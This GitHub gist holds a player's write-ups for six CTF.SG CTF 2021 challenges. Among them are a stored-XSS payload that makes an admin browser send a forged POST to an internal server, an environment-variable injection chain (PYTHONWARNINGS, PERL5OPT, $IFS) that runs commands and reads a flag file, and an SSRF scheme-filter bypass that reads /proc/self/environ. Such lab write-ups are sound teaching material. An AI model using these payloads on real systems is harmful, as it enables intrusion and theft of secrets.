Skip to content

Instantly share code, notes, and snippets.

@duckness
Last active March 14, 2021 16:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save duckness/39f8feab4cb8ef0db075f30a29547827 to your computer and use it in GitHub Desktop.
Save duckness/39f8feab4cb8ef0db075f30a29547827 to your computer and use it in GitHub Desktop.
CTF.SG CTF 2021 - My writeups

Write ups for

Misc: Insanity Check, Smartest Nation, Which Lee?
Web: SGMurmurs, Tangerine Stan, Wildest Dream


A fun little 24h CTF with some interesting challenges. The rules allowed teams of 4, but I participated as a solo player. Despite that, I managed to get 11th place out of 123 participants with 6 solves and 1 blood on Smartest Nation so I'm pretty satisfied with the result.

leaderboards

Challenge: Insanity Check
Category: MISCELLANEOUS
Challenge-Author: isopatch
Description:

We hid a flag in one of the private channels on the CTF.SG CTF discord. Can you find it?

Solves: 43
Final-Points: 495


From running a selfbot in the past, I knew that discord sends some information about the channels available, even those that you shouldn't have permissions to view. I didn't want to run a selfbot again, and I was lazy to look up the discord API or set up burpsuite, so instead, I installed BetterDiscord with a plugin.

BetterDiscord Plugin

Author's writeup: https://isopach.dev/CTFSG-CTF-2021/#insanity-check

Challenge: SGMurmurs
Category: WEB
Challenge-Author: waituck
Description:

Sometimes you regret your own confession and want to delete it before Prof Ben reads it, but you ain't got the access
Sometimes you don't need the access, when you can get someone else to do it for you ;)
Delete your own confession to get the flag!
Visit SGMurmurs today!

File-Attached: distrib.zip
Solves: 12
Final-Points: 975


An overview of the site & files:

website
files given

There didn't seem to be anything too interesting in the files other than server.js. Our first look through of server.js reveals the following:

/*
There are 2 webservers running, and the flag is stored as a constant FLAG
*/
// Constants
const FLAG = process.env.FLAG;
const PORT = 8080;
const HOST = '0.0.0.0';
const PORT_FLAG = 12345;
const HOST_FLAG = '127.0.0.1';

// App
const app = express();
const app_flag = express();

// ...

/*
Going to this endpoint will show us the flag if we can delete the confession
*/
app.get('/view', (req, res) => {
    if (req.session && req.session.uuid && DATABASE[req.session.uuid]) {
        let entry = DATABASE[req.session.uuid];
        if (entry.deleted) {
            entry.confession = FLAG;
        }
        res.json(entry)
    } else {
        res.json({
            uuid: "INVALID",
            confession: "CONFESSION NOT FOUND",
            deleted: false
        })
    }
})

// ...

/*
This endpoint will call puppeteer to view the confession/webpage as the local 'admin' user
*/
app.get('/report', (req, res) => {
    if (req.session && req.session.uuid) {
        // make the request
        const cookies = [];

        for (let [key, value] of Object.entries(req.cookies)) {
            cookies.push({
                'name': key,
                'value': value,
                'domain': `127.0.0.1:${PORT}`,
                'path': '/'
            })
        }
            (async () => {
                const browser = await puppeteer.launch({
                    executablePath: "google-chrome-stable",
                    args: ['--no-sandbox', '--disable-setuid-sandbox']
                });
                try {
                    const page = await browser.newPage();
                    await page.setCookie(...cookies);

                    await page.goto(`http://127.0.0.1:${PORT}/viewpage`, {
                        waitUntil: 'networkidle2'
                    });
                } catch (err) {
                    console.log(err)
                } finally {
                    await browser.close();
                }
            })().then(() => {
                res.end('Done')
            })
    } else {
        res.end('Invalid session.');
    }

});

// ...

/*
The admin server
*/
// Use CORS to prevent CSRF
app_flag.use((req, res, next) => {
    res.append('Access-Control-Allow-Origin', ['*']);
    // we don't allow POST 
    res.append('Access-Control-Allow-Methods', 'GET, OPTIONS');
    res.append('Access-Control-Allow-Headers', 'X-NO-POST');
    next();
});

// ...

app_flag.post('/delete', (req, res) => {
    // force a preflighted fetch using custom header so Access-Control-Allow-Methods is enforced
    if (req.header('X-NO-POST') !== 'true') {
        res.status(500).send('Not allowed, very illegal, calling polis');
    } else {
        let uuid = req.body.uuid;
        if (uuid in DATABASE) {
            let entry = DATABASE[uuid];
            entry.deleted = true;
            res.end('Deleted.')
        } else {
            res.status(404).send('Entry not found.')
        }
    }
});

app_flag.listen(PORT_FLAG, "0.0.0.0");

Clearly, we need to do something on the /report endpoint and force puppeteer to somehow call /delete on the admin server, but how?

We control the cookies sent to /report, but that doesn't seem too useful. However, since puppeteer also tries to view the page we created, perhaps we can store some XSS when we submit a confession.

xss

We can probably write a XSS in a confession to tell puppeteer via fetch to POST to the admin /delete endpoint. Lets start with:

<script>fetch('http://127.0.0.1:12345/delete', {method:"POST"})</script>

There's a comment that tells us that the Access-Control-Allow-Methods disallows POST, but we can see that the endpoint we want expects a POST request. I assumed that this was just a red herring since the code simply sets a header and theres nothing preventing me from just ignoring the header.

We can clearly see that if our post request did not set the X-NO-POST header correctly, our request would not trigger the delete. I also find that sometimes cookies are not automatically attached for one reason or another (although it should be according to MDN), so lets add that in too:

<script>
  fetch('http://127.0.0.1:12345/delete', {
    method:"POST",
    credentials: "same-origin",
    headers: { 'X-NO-POST': 'true' }
  })
</script>

Lastly, we will need the uuid to be in the request body to tell /delete to remove it. This should be achievable if we simply poke the /view endpoint for the uuid:

<script>
  fetch('http://127.0.0.1:8080/view')
    .then(response => response.json())
    .then(json => {
      var data = new URLSearchParams()
      data.append('uuid', json.uuid)
      fetch('http://127.0.0.1:12345/delete', {
        method:"POST",
        credentials: "same-origin",
        headers: { 'X-NO-POST': 'true' },
        body: data
      })
    })
</script>

We submit that as a confession, hit the report button, and check /view and voila!

flag

Challenge: Smartest Nation
Category: MISCELLANEOUS
Challenge-Author: waituck
Description:

His palms are sweaty, knees weak, arms are heavy
There's vomit on his sweater already, mom's spaghetti
He's nervous, but on the surface he looks calm and ready
To drop code, but he keeps on forgettin'
The challenge author forgot to write any code for this challenge, but no code doesn't mean no pwn!
A 0 line Python challenge only for the smartest of the smart in our smart nation!
Visit our Smart Nation. Yes it's a blank page because there's no code duh.

File-Attached: distrib.zip
Solves: 7 (First-blood!)
Final-Points: 986


The website was just a blank page, and the code only confirms it:

Code_fTAbQP9mh4

From the Dockerfile, we know that the flag is in the user's home directory.

...
ENV user=noob

RUN useradd -m $user
RUN echo "$user     hard    nproc       20" >> /etc/security/limits.conf
COPY flag.txt //home/$user/flag
...

app.py also reveals something curious as well.

@application.route('/', methods=['GET'])
def home():
    env = {}
    for k, v in request.headers:
        env[k.upper().replace('-', '_')] = v
    output = subprocess.check_output(["python3", "welcome.py"], env=env)
    return output

Apparently, it is passing the contents of the request headers as env variables when calling python3 welcome.py. I recall using the LD_PRELOAD environment variable for a previous CTF that loads and executes a library, although it didn't seem to be of much use here as there was no upload functionality.

Instead, I began looking for what kind of environment variables python reads when it is executed. The python docs provided a healthy list of variables to look at, but it was lengthy and I did not find anything too interesting after staring at it for a while.

I googled a bit more, and eventially searched for python environment variable ctf, which brought me to an interesting blog post in the second result. The blog provides a PoC:

docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null

Lets try that out in our context:

Insomnia_cxQbxTlIJz

Wow! That's neat!

The last step is to be able to read the contents of /home/noob/flag, probably like cat /home/noob/flag. However, we still need to deal with the space between cat and the directory. I remembered a blog post by my colleague about whitespace injection via the $IFS environment variable, so lets put that in and:

Insomnia_0D4w1xImuC

Challenge: Tangerine Stan
Category: WEB
Challenge-Author: Gladiator
Description:

I developed a super secure url parser. No way you can bypass it. But if you do, your bounty is in the Environment Variable!
Psst: It only accept links from tinyurl.com...

File-Attached: server.py
Solves: 8
Final-Points: 985


server.py:

@app.route('/search')
def hello():
    if flaskrequest.args['url'] == None:
        return "You need to access via /search?url=Your URL"
    url_proxy = flaskrequest.args['url']
    b = urlparse(url_proxy)
    if b.netloc != "tinyurl.com":
        return "URL is not from tinyurl.com"
    proxy_data = request.urlopen(url_proxy)
    safe_url = proxy_data.read().decode('utf-8')
    safe_url_parsed = urlparse(safe_url)
    if safe_url_parsed.scheme in ["file","gopher","ftp","smtp","tftp","mailto"]:
        return "Illegal Scheme Detected!"
    response = request.urlopen(safe_url)
    return response.read().decode('utf-8')

@app.route('/')
def main():
    return "Flag is in environment variable. <br>Please explore /search?url=[URL]"

I got a bit confused when I saw the code at first, but eventually I realised that it was doing the following if you visit /search:

  1. check if the url supplied is from tinyurl.com, reject if it isn't
  2. visit the url with urlopen, read the plaintext result and set it as safe_url
  3. run the safe_url through urlparse and check if the scheme is in a blacklist, reject if so
  4. visit safe_url with urlopen, return the result of that url to the user

I first looked at what other schemes did urllib support, but none of them seemed interesting.

After scratching my head a little, I tried prepending a space to file::

WindowsTerminal_EXeQEe8P9P

This seemed promising. For the environment variables, we can try and look at /proc/self/environ. So this is what our final payload will look like in a.txt (dont forget the extra whitespace in front!):

 file:///proc/self/environ

I typically use ngrok to serve webpages locally, but tinyurl was pretty unhappy at me for trying to use ngrok so I just googled for a suitable alternative.

Code_E0ukgfi8H6

After chatting with the challenge author, it seems that although most participants did it this way, this was actually an unintended solution. The intended solution is <URL:file:///proc/self/environ>.

Here are some references provided by the setter, urlopen calls unwrap:

Challenge: Which Lee?
Category: MISCELLANEOUS
Challenge-Author: waituck
Description:

Which Lee do you want to be? Can you be the best Lee of them all?
Find out which Lee you are at this website!
p.s. we are using pytorch 1.8.0+cpu
Hint: Numerical InstabiLEEty

File-Attached: distrib.zip
Solves: 3
Final-Points: 992


A quick sidenote:
I'm a smol brained person who can't understand ML very well. This is evident in how easily people solved the ML challenge that I set in STACK the Flags 2020. Thankfully, I was eventually able to modify my STACK the Flags solution enough to solve this challenge.

In this challenge, we are supposed to get the right LEE returned from the server.
distrib.zip contains eval.py and leenet.ph.
I uploaded a random image, and put that image through eval.py. I then modified eval.py a bit to also print the weights. I got this:

Code_iam1CQ04zk

So it's quite clear that there are 5 possible results, and the image I uploaded is index 4 or Mark LEE.

The approach I took was to essentially try and fuzz the ML to submission, which is partially outlined in this blog.

Another thing of note are these lines in eval.py, we are dealing with greyscale images that are 16x16.

transform = transforms.Compose([transforms.Resize(16),
                                transforms.CenterCrop(16),
                                transforms.Grayscale(),
                                transforms.ToTensor()])

After some modification of my STACK the Flags solution (which uses imagemagick to generate the images) we start with this fuzz.py:

'''
There were some additional modifications made to thread the thing
But I got too lazy to finish it up properly in the end
'''
import json
import subprocess

def magick(param1, param2):
    cmd = f'magick -size 16x16 {param1} -colorspace Gray ./a/{param2}/lee/{param2}.png'
    subprocess.call(cmd, shell=True)

def post(param2):
    cmd = f'python -W ignore ./eval.py ./a/{param2}'
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
    return p.communicate()[0].decode('utf-8').strip()

I also modified eval.py to just print the predictions in an array:

print(f'{[float(a.data) for a in y_pred[0]]}')

We first want to have a look around and see if we can score any easy wins with just altering the greys in fuzz.py:

def fuzz_greys():
    path = '0'
    for i in range(0, 256, 8):
        magick(f'canvas:rgb({i},{i},{i})', path)
        list_ = json.loads(post(path))
        maxScore = list_.index(max(list_))
        print(f'rgb({i},{i},{i}):\t{list_} - {maxScore}')
        
fuzz_greys()

result:

rgb(0,0,0):     [0.044459812343120575, 0.09277509897947311, 0.26647526025772095, 0.04446981102228165, 0.5518100261688232] - 4
rgb(8,8,8):     [0.04275749623775482, 0.11253977566957474, 0.2634689509868622, 0.042767494916915894, 0.5384563207626343] - 4
rgb(16,16,16):  [0.041637588292360306, 0.13498768210411072, 0.2140824943780899, 0.04164758697152138, 0.5676347017288208] - 4
rgb(24,24,24):  [0.041420068591833115, 0.1492651402950287, 0.17769992351531982, 0.041430067270994186, 0.5901747941970825] - 4
rgb(32,32,32):  [0.041490498930215836, 0.16069574654102325, 0.15623055398464203, 0.04150049760937691, 0.6000727415084839] - 4
rgb(40,40,40):  [0.04182657226920128, 0.17313922941684723, 0.13585084676742554, 0.04183657094836235, 0.6073367595672607] - 4
rgb(48,48,48):  [0.042387332767248154, 0.18530000746250153, 0.11940641701221466, 0.042397331446409225, 0.6104989051818848] - 4
rgb(56,56,56):  [0.043064016848802567, 0.1961868554353714, 0.10716338455677032, 0.04307401552796364, 0.610501766204834] - 4
rgb(64,64,64):  [0.043797604739665985, 0.20591259002685547, 0.09783407300710678, 0.04380760341882706, 0.6086381673812866] - 4
rgb(72,72,72):  [0.04454972594976425, 0.21459907293319702, 0.0905671939253807, 0.044559724628925323, 0.6057142615318298] - 4
...

The result was rather disappointing (even after I tried to iterate through all the greys instead of stepping 8 at a time). There was only some variances to index 1,2 and 4, but the model clearly favours index 4 a large proportion of the time.

I then attempted a pure brute force approach that generates random images, but that didn't work out well either (fuzz.py):

def fuzz_random():
    path = '0'
    while(True):
        magick('xc: +noise Random', path)
        list_ = json.loads(post(path))
        maxScore = list_.index(max(list_))
        print(f'score:\t{list_} - {maxScore}')
        if maxScore != 4:
            exit()

fuzz_random()

After trying out various options and failing, I decided to try a more logical approach. Since the canvas is small, 16x16, we can try to see how each pixel influences the model by brute force. Lets start with a black canvas, then draw a single white pixel on the canvas each time (such that there is only 1 white pixel on a black canvas)(fuzz.py).

scoreList = []

def fuzz_test(i, j, path='0'):
    global scoreList
    magick(f'canvas:rgb(0,0,0) -fill white -draw "color {i},{j} point"', path)
    list_ = json.loads(post(path))
    scoreList.append(list_)
    maxScore = list_.index(max(list_))
    print(f'({i},{j}):\t{list_} - {maxScore}')

def fuzz_test_single():
    for i in range(0, 16):
        for j in range(0, 16):
            fuzz_test(i, j)
            
fuzz_test_single()

# saved into a file so I can analyze as and how I want later
with open('results.txt', 'w+') as f:
    f.write(json.dumps(scoreList))

result:

(0,0):  [0.04147734120488167, 0.13917842507362366, 0.2549462914466858, 0.04148733988404274, 0.5229007005691528] - 4
(0,1):  [0.05107993632555008, 0.05947576090693474, 0.2170117348432541, 0.05108993500471115, 0.6213326454162598] - 4
(0,2):  [0.04738770052790642, 0.09460298717021942, 0.09097101539373398, 0.04739769920706749, 0.7196305990219116] - 4
(0,3):  [0.04606426879763603, 0.0795510783791542, 0.21261478960514069, 0.046074267476797104, 0.6156855821609497] - 4
(0,4):  [0.04434482753276825, 0.09341193735599518, 0.16994573175907135, 0.04435482621192932, 0.6479326486587524] - 4
(0,5):  [0.046178340911865234, 0.0826142281293869, 0.3667926788330078, 0.046188339591026306, 0.45821645855903625] - 4
(0,6):  [0.04499290883541107, 0.08992206305265427, 0.14749741554260254, 0.045002907514572144, 0.6725746989250183] - 4
(0,7):  [0.043800752609968185, 0.10243406146764755, 0.14953751862049103, 0.04381075128912926, 0.6604069471359253] - 4
(0,8):  [0.041059162467718124, 0.16706378757953644, 0.1807200312614441, 0.041069161146879196, 0.5700778365135193] - 4
(0,9):  [0.04617907851934433, 0.08152937889099121, 0.3128729462623596, 0.0461890771985054, 0.5132195353507996] - 4
...

Still lots of 4s with 2s sprinked in a few areas. If I upload the 2, I get Bruce Lee. But lets analyze the results a bit more, I really want a index 1 since its the only other one that goes above 0.10. I saved the results to saved_initial.txt so that it does not get overwritten. I wrote analyzer.py:

import json
import math

IDX = 1

# we can calculate the coordinate this corresponds to based on the index
def coord(i):
    x = math.floor(i/16)
    y = i % 16
    return x, y

def idxFind(elem):
    return elem[IDX]

with open('saved_initial.txt') as f:
    json_ = json.loads(f.read())

# we add the index to each result as we will be sorting later and losing the old index
for i, val in enumerate(json_):
    json_[i].append(i)

json_.sort(key=idxFind)

for val in json_:
    print(f'{coord(val[5])}\t{val[IDX]}')

result:

(5, 1)  0.053585462272167206
(1, 12) 0.053627923130989075
(1, 4)  0.05366024374961853
...
(1, 15) 0.2926003336906433
(13, 14)        0.3117857575416565
(14, 5) 0.33840033411979675

This result tells me that a white pixel on (14, 5) makes the model think that its more similar to whatever index 1 is. So lets add that into fuzz.py by slightly modifying fuzz_test!

def fuzz_test(i, j, path='0'):
    global scoreList
    l = [
        (14,5)
    ]
    s = ''
    for v in l:
        s += f'-fill white -draw "color {v[0]},{v[1]} point" '
    magick(f'canvas:rgb(0,0,0) {s} -fill white -draw "color {i},{j} point"', path)
    list_ = json.loads(post(path))
    scoreList.append(list_)
    maxScore = list_.index(max(list_))
    print(f'({i},{j}):\t{list_} - {maxScore}')

result:

...
(0,8):  [0.04008222371339798, 0.3721823990345001, 0.22077898681163788, 0.04009222239255905, 0.3268541693687439] - 1
...

Nice we got an index 1, (it's Bobby Lee) but its still not the right solution.

After a few failed attempts at trying this method for index 0 and index 3, I decided to try something a bit different. What if instead of trying to find the highest possible value for index 0 and index 3 individually, I try to find the lowest possible value for index 1, 2, 4 as a sum. This way, I optimize removing the index 1, 2, 4 results that I'm no longer interested in. I modify analyzer.py slightly:

def idxFind(elem):
    return elem[1] + elem[2] + elem[4]
...
for val in json_:
    print(f'{coord(val[5])}\t{val[1] + val[2] + val[4]}')

results:

(5, 10) 0.8913063481450081
(9, 0)  0.8916431814432144        
(2, 12) 0.8921749405562878 
...
(10, 3) 0.919761523604393
(6, 5)  0.9197917729616165
(14, 5) 0.92027947306633

I add the coordinates that correspond to the lowest sum to fuzz_test in fuzz.py, and re run the script. Then, re-analyzed the new set of results and keep repeating for a while.

I ended up with:

    l = [
        (5, 10),
        (14, 5)
    ]

in this state, when I re-ran the script, something happened:

...
(2,15): [0.046100229024887085, 0.1069311872124672, 0.09369169920682907, 0.04611022770404816, 0.7071566581726074] - 4
(3,0):  [0.058916423469781876, 0.07276828587055206, 0.7504523992538452, 0.05892642214894295, 0.05892642214894295] - 2
Traceback (most recent call last):
  File "C:\Users\duckness\Downloads\distrib\fuzz.py", line 76, in <module>
    fuzz_test_all()
  File "C:\Users\duckness\Downloads\distrib\fuzz.py", line 72, in fuzz_test_all
    fuzz_test(i, j)
  File "C:\Users\duckness\Downloads\distrib\fuzz.py", line 64, in fuzz_test
    list_ = json.loads(post(path))
  File "C:\Python39\lib\json\__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "C:\Python39\lib\json\decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Python39\lib\json\decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 2 (char 1)

Clearly, we have an interesting image.

0

Lets run that in eval.py:

python -W ignore eval.py ./a/0
[nan, nan, nan, nan, nan]

And uploading it to the website:

chrome_xI7ewURrnL

Hey, if it works, it works.

final fuzz.py:

import json
import subprocess

scoreList = []

def magick(param1, param2):
    cmd = f'magick -size 16x16 {param1} -colorspace Gray ./a/{param2}/lee/{param2}.png'
    subprocess.call(cmd, shell=True)

def post(param2):
    cmd = f'python -W ignore ./eval.py ./a/{param2}'
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
    return p.communicate()[0].decode('utf-8').strip()

def fuzz_greys():
    path = '0'
    for i in range(0, 256, 8):
        magick(f'canvas:rgb({i},{i},{i})', path)
        list_ = json.loads(post(path))
        maxScore = list_.index(max(list_))
        print(f'rgb({i},{i},{i}):\t{list_} - {maxScore}')

def fuzz_random():
    path = '0'
    while(True):
        magick('xc: +noise Random', path)
        list_ = json.loads(post(path))
        maxScore = list_.index(max(list_))
        print(f'score:\t{list_} - {maxScore}')
        if maxScore != 4:
            exit()

def fuzz_test(i, j, path='0'):
    global scoreList
    l = [
        (5, 10),
        (14, 5)
    ]
    s = ''
    for v in l:
        s += f'-fill white -draw "color {v[0]},{v[1]} point" '
    magick(f'canvas:rgb(0,0,0) {s} -fill white -draw "color {i},{j} point"', path)
    list_ = json.loads(post(path))
    scoreList.append(list_)
    maxScore = list_.index(max(list_))
    print(f'({i},{j}):\t{list_} - {maxScore}')

def fuzz_test_all():
    for i in range(0, 16):
        for j in range(0, 16):
            fuzz_test(i, j)

# fuzz_greys()
# fuzz_random()
fuzz_test_all()

with open('saved.txt', 'w+') as f:
    f.write(json.dumps(scoreList))

final analyzer.py:

import json
import math

# we can calculate the coordinate this corresponds to based on the index
def coord(i):
    x = math.floor(i/16)
    y = i % 16
    return x, y

def idxFind(elem):
    return elem[1] + elem[2] + elem[4]

with open('saved.txt') as f:
    json_ = json.loads(f.read())

# we add the index to each result as we will be sorting later and losing the old index
for i, val in enumerate(json_):
    json_[i].append(i)


json_.sort(key=idxFind)

for val in json_:
    print(f'{coord(val[5])}\t{val[1] + val[2] + val[4]}')

An actual BIG BRAIN solution by 4yn: https://github.com/4yn/slashbadctf/blob/master/sgctf21/which-lee/which-lee-solution.md

Challenge: Wildest Dream
Category: WEB
Challenge-Author: Gladiator
Description:

I am told that I can be in your wildest dreams...

File-Attached: 1989.php
Solves: 63
Final-Points: 157


Opening up 1989.php, we can see this section of php:

<?php
	if(!empty($_GET['i1']) && !empty($_GET['i2'])){
		$i1 = $_GET['i1'];
		$i2 = $_GET['i2'];
		if($i1 === $i2){
			die("i1 and i2 can't be the same!");
		}
		$len1 = strlen($i1);
		$len2 = strlen($i2);
		if($len1 < 20){
			die("i1 is too shorttttttt pee pee pee pee pee");
		}
		if($len2 < 20){
			die("i2 is too shorttttttt pee pee pee pee pee");
		}
		if(sha1(hex2bin($i1)) === sha1(hex2bin($i2)));
			if(md5(hex2bin($i1)) !== md5(hex2bin($i2)))
				echo "All I want to be is in your wildest dreams";
				if(md5(hex2bin($i1)) == md5(hex2bin($i2)))echo $flag;
		echo "<br>I think he did it, but i just cant prove it.";
	} else {
		echo "<br> You need to provide two strings, i1 and i2. /1989.php?i1=a&i2=b";
	}
?>

So the program takes in 2 variables and makes sure they are more than 20 chars each and that they are not the same. The next bits are not indented correctly, lets fix that:

	if (sha1(hex2bin($i1)) === sha1(hex2bin($i2)));
	if (md5(hex2bin($i1)) !== md5(hex2bin($i2)))
		echo "All I want to be is in your wildest dreams";
	if (md5(hex2bin($i1)) == md5(hex2bin($i2))) echo $flag;

The solution then becomes obvious, we just need to get a pair of distinct strings who have md5 colission and set them as i1 and i2. The strings are easily googlable and we have the solution:

http://<domain>:<port>/1989.php?i1=d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70&i2=d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

chrome_w1qcIoXaoO

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment